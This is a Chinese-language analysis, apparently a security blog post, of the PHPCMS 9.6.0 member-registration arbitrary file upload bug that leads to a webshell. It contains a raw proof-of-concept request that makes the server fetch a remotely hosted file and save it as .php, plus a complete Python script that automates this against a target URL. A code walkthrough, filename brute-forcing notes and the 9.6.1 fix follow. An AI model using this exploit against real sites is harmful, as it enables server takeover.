PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。
本次PHPCMS版本为9.6.0,安装步骤跟上一篇文章一样,参考PHPCMS_V9.2任意文件上传getshell漏洞分析
在注册用户处,添加用户进行抓包(这里以Tao为例)

#poc
siteid=1&modelid=11&username=Tao&password=123456&email=Tao@qq.com&info[content]=<img src=http://www.tao.com/t.txt?.php#.jpg>&dosubmit=1&protocol=
# http://www.tao.com/t.txt显示的内容为你要上传的文件内容本次测试中, http://www.tao.com/t.txt文本内容如下:

修改,放包回显如下,然后我们访问该返回的url


利用成功!!!这里再贴个脚本
'''
version: python3
Author: Tao
'''
import requests
import re
import random
import sys
def anyfile_up(surl,url):
url = "{}/index.php?m=member&c=index&a=register&siteid=1".format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'Tao{}'.format(random.randint(1,9999)),
'password': '123456',
'email': 'Tao{}@xxx.com'.format(random.randint(1,9999)),
'info[content]': '<img src={}?.php#.jpg>'.format(surl),
'dosubmit': '1',
'protocol': ''
}
r = requests.post(url, data=data)
return_url = re.findall(r'img src=(.*)>',r.text)
if len(return_url):
return return_url[0]
if __name__ == '__main__':
if len(sys.argv) == 3:
return_url = anyfile_up(sys.argv[1],sys.argv[2])
print('seccess! upload file url: ', return_url)
else:
message = \
"""
python3 anyfile_up.py [上传内容URL地址] [目标URL]
example: python3 anyfile_up.py http://www.tao.com/shell.txt http://www.phpcms96.com
"""
print(message)运行效果如下图:

这个漏洞存在于用户注册处,通过上面请求的地址(/index.php?m=member&c=index&a=register&siteid=1),定位处理请求的函数为register,位于文件phpcms/modules/member/index.php33行处。
为了更好的理解漏洞的原理和利用的巧妙之处,我们就先看看正常的注册流程。
// 61-79
$userinfo = array();
$userinfo['encrypt'] = create_randomstr(6);
$userinfo['username'] = (isset($_POST['username']) && is_username($_POST['username'])) ? $_POST['username'] : exit('0');
$userinfo['nickname'] = (isset($_POST['nickname']) && is_username($_POST['nickname'])) ? $_POST['nickname'] : '';
$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['password'] = (isset($_POST['password']) && is_badword($_POST['password'])==false) ? $_POST['password'] : exit('0');
$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
$userinfo['regip'] = ip();
$userinfo['point'] = $member_setting['defualtpoint'] ? $member_setting['defualtpoint'] : 0;
$userinfo['amount'] = $member_setting['defualtamount'] ? $member_setting['defualtamount'] : 0;
$userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
$userinfo['siteid'] = $siteid;
$userinfo['connectid'] = isset($_SESSION['connectid']) ? $_SESSION['connectid'] : '';
$userinfo['from'] = isset($_SESSION['from']) ? $_SESSION['from'] : '';上面代码对用户信息进行了处理,130行前的代码就是获取一下信息,分析这次漏洞来说意义不大。直接下断点到130行,然后F9跳到此处,代码如下:
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); // 135行,重点走到135行,可以发现,这里$_POST['info']传入了member_input类中的get方法,跟进该方法。(该方法跳转至:/caches/caches_model/caches_data/member_input.class.php文件20行)
继续执行可发现,在这个get方法中,走到47行,获取了datetime函数,而48行也调用了该函数。
这里留一个问题,为什么47行处获取的是
datetime这个函数?

跟进一下这个函数,代码如下:

上面代码执行完以后,返回$value="2021-03-13",然后返回get方法,执行
$info[$field] = $value;
return $info;退出get方法,继续跟进,进入ps_member_register方法

继续跟进,执行insert操作

F7跟进,执行到下图,将注册信息插入数据库,注册完成。


之后返回到register函数

当$status > 0时,执行insert操作,这里将生日日期和用户id插入到v9_member_detail表中

INSERT INTO `phpcmsv96`.`v9_member_detail`(`birthday`,`userid`) VALUES ('2021-03-13'php,'26')到这里,我们肯定还是不知道为什么上面调用的函数是datetime,先不急,我们整理一下注册的执行流程:

你是不是发现了什么?接下来我们来分析一下为什么$func="datetime"。
首先由于func = this->fields[field]['formtype'],我们按ctrl点击this->fields,同一文件,第11行得到的,这里传了个'model_field_'.modelid, 而modelid = 10,跟进一下getcache方法

跳转至phpsso_server/phpcms/libs/functions/global.func.php文件,函数内容如下:
function getcache($name, $filepath='', $type='file', $config='') {
if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
pc_base::load_sys_class('cache_factory','',0);
if($config) {
$cacheconfig = pc_base::load_config('cache');
$cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
} else {
$cache = cache_factory::get_instance()->get_cache($type);
}
return $cache->get($name, '', '', $filepath);
}因为config未进行传参,默认为空,因此执行的是cache = cache_factory::get_instance()->get_cache(type);,执行get_cahe方法,传入参数type='file', 跟进一下此方法:
// phpcms/libs/classes/cache_factory.class.php 53行处
protected $cache_list = array();
public function get_cache($cache_name) {
if(!isset($this->cache_list[$cache_name]) || !is_object($this->cache_list[$cache_name])) {
$this->cache_list[$cache_name] = $this->load($cache_name);
}
return $this->cache_list[$cache_name];
}cache_list是个空数组,因此this->cache_list[
$this->cache_list[$cache_name] = $this->load($cache_name);load方法代码如下:
public function load($cache_name) {
$object = null;
if(isset($this->cache_config[$cache_name]['type'])) {
switch($this->cache_config[$cache_name]['type']) {
case 'file' :
$object = pc_base::load_sys_class('cache_file');
break;
case 'memcache' :
define('MEMCACHE_HOST', $this->cache_config[$cache_name]['hostname']);
define('MEMCACHE_PORT', $this->cache_config[$cache_name]['port']);由于cache_name = 'file', 从而执行object = pc_base::load_sys_class('cache_file');,跟进一下pc_base::load_sys_class方法

调用了_load_class类,继续进入

122行的代码不会执行,因为文件路劲中没有自己的扩展文件,my_path方法代码如下:
public static function my_path($filepath) {
$path = pathinfo($filepath);
if (file_exists($path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'])) {
return $path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'];
// 没有 my_cache_file.class.php
} else {
return false;
}
}上图执行到130行,返回了cache_file对象(因为$name='cache_file'),内容见下图:

这里返回完了以后,退出到执行phpsso_server/phpcms/libs/functions/global.func.php中548行处get方法,代码如下:

代码传入的参数name就是下图的'model_field_'.modelid = 'model_field_10':

看看get方法,可以发现,它包含了/caches/caches_model/caches_data/model_field_10.cache.php文件

且91行返回了/caches/caches_model/caches_data/model_field_10.cache.php中的内容

内容如下:

func = this->fields[field]['formtype']; 对应此文件中'formtype' => datetime,因此这里
当然,这里数据也可以通过数据库中v9_member_field表获取。


可能上面描述的不太直观,我们再次梳理一下获取datetime函数的流程:


接下来我们分析poc
注意:再一次使用poc的时候,我们需要保证
username值和
通过上面的分析,直接下断点到关键处

如上图,这里获取的是editor函数,而在这个函数中,有个download方法(下图,文件在caches/caches_model/caches_data/member_input.class.php)



上面关键代码如下:
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;这个正则匹配不难理解,需要满足href/src=url. (gif|jpg|jpeg|bmp|png),这就是为什么我们写info[content]=<img src=http://www.tao.com/a.txt?.php#.jpg(符合这个格式,而且加.jpg的原因),接着进入fillurl方法


在上图的fillurl方法中,通过下面代码去掉了锚点.
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);strpos定位#, 然后使用substr处理http://www.tao.com/t.txt?.php#.jpg, 处理完之后$surl = http://www.tao.com/t.txt?.php。
继续执行,可以发现返回的url去掉了#后面的内容

下面166行处获取了上面返回url的后缀,及php,通过getname方法进行重命名,可以发现的是,getname方法返回的文件名也只是时间+随机的三位数。如果不返回上传文件的url地址,也可以通过爆破获取。

接着程序调用了copy函数,对远程的url文件进行了下载

这里的$this->upload_func是copy函数的原因,是因为初始化时赋给的(看下图)

此时能看到我们要写入的内容已经成功写入文件了。

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register函数中:

F7跟进

INSERT INTO `phpcmsv96`.`v9_member_detail`(`content`,`userid`) VALUES ('<img src=http://www.phpcms96.com/uploadfile/2021/0314/20210314103307168.php>','25')可以发现,上上图140行处$status > 0时会执行上面的SQL语句,也就是向v9_member_detail的content和userid两列插入数据

但是由于v9_member_detail表结构中没有content列,产生了报错。从而将插入数据中的sql报错语句(包含shell 路径)返回了前台页面。
前面说140行status>0 时才会执行 SQL 语句进行 INSERT 操作。我们来看一下什么时候
通过前面139行我们发现$status是由client类中ps_member_register方法返回的(函数路劲在:phpcms/modules/member/classes/client.class.php )

$status <= 0都是因为用户名和邮箱不唯一导致的,所以我们payload尽量要随机
另外在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径
在无法得到路径的情况下我们只能爆破了 ,文件名的生成方法(在phpcms/libs/classes/attachment.class.php)

返回的文件名也只是时间+随机的三位数。比较容易爆破的。
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

文章中有什么不足和错误的地方还望师傅们指正。